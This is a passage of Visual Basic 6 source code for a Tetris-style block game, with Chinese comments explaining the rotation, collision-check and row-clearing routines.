Image1(Image1.Count - 1).Top = (j - 1) * 300 '确定新Image1的位置，因为是从1开始算，所以要i-1,j-1
Image1(Image1.Count - 1).Visible = True
End If
Next j
Next i
End Sub
Sub Eddy() '旋转，以图（文末处）中2号点为旋转中心
ReDim NewX(3) As Integer
ReDim NewY(3) As Integer '定义即将旋转到新坐标的数组
If NowShape = 1 Then Exit Sub '如果是方块则退出Sub
For i = 0 To 3
block(NowX(i), NowY(i)) = False '把旋转前所有点都变成False,以便判断是否可以旋转。
NewX(i) = NowY(2) - NowY(i) + NowX(2)
NewY(i) = NowX(i) - NowX(2) + NowY(2) '利用坐标运算确定新坐标的位置，并赋给数组NewX(),NewY()
Next i '
If AllowChange(NewX(), NewY()) = True Then '如果可以变化
For i = 0 To 3
block(NewX(i), NewY(i)) = True '把新坐标的点都变为True
NowX(i) = NewX(i)
NowY(i) = NewY(i) '把所有新点坐标赋给当前坐标
Next i
Else '如果不能变化
For i = 0 To 3
block(NowX(i), NowY(i)) = True
Next i '把刚才改成False的点都变成True，相当于无变化
End If
Call DrawBlock '重画所有方块
End Sub
Function AllowChange(NewX() As Integer, NewY() As Integer) As Boolean '根据坐标判断是否能变化（包括翻转和移动）
On Error Resume Next
For i = 0 To 3
If block(NewX(i), NewY(i)) = True Then
AllowChange = False '如果有一个点已经存在（值为True），返回值则为False，即不可变化。
Exit Function '防止多于的循环造成错误，所以离开函数。
Else
AllowChange = True '否则可以变化。
End If
Next i
End Function
Sub Clear() '判断并执行销掉整排方块的动作
Dim Xn As Integer
Dim row As Boolean
For j = 0 To 3
Xn = 0
Do While Xn < Int(Text1.Text)
Xn = Xn + 1
row = True
row = row And block(Xn, NowY(j)) '和同一排的点做And运算。
If row = False Then Exit Do '如果发现有False值，则证明同一排有空缺点，则不再循环。
Loop
If row = True Then '经过循环，如果同一排的点都是True（存在），那么开始销去
Text3.Text = Text3.Text + 100 '加100分
For i = 1 To Int(Text1.Text)
block(i, NowY(j)) = False '通过循环把该排(Y=Now(j))的方块销去（令对应的数组值为False）
Next i
'接下来就该把该排上面堆积的方块向下移动一个格
For k = NowY(j) - 1 To 1 Step -1 '从该排的上一层开始，先动下层，再动上层。如果从上到下就会在移动下层时覆盖掉上层移动完的结果
For l = 1 To Int(Text1.Text) '从左到右，这个顺序倒没关系
If block(l, k) = True Then '如果在移动范围内发现有方块
block(l, k) = False '先销掉该方块（如果先动上层则会把上层移动后的点变成False,就相当于令上层移动的点消失）
block(l, k + 1) = True '在该方块的下面产生一个新的方块（相当于向下移）
End If
Next l
Next k
End If
Next j
Call DrawBlock '画出所有方块
End Sub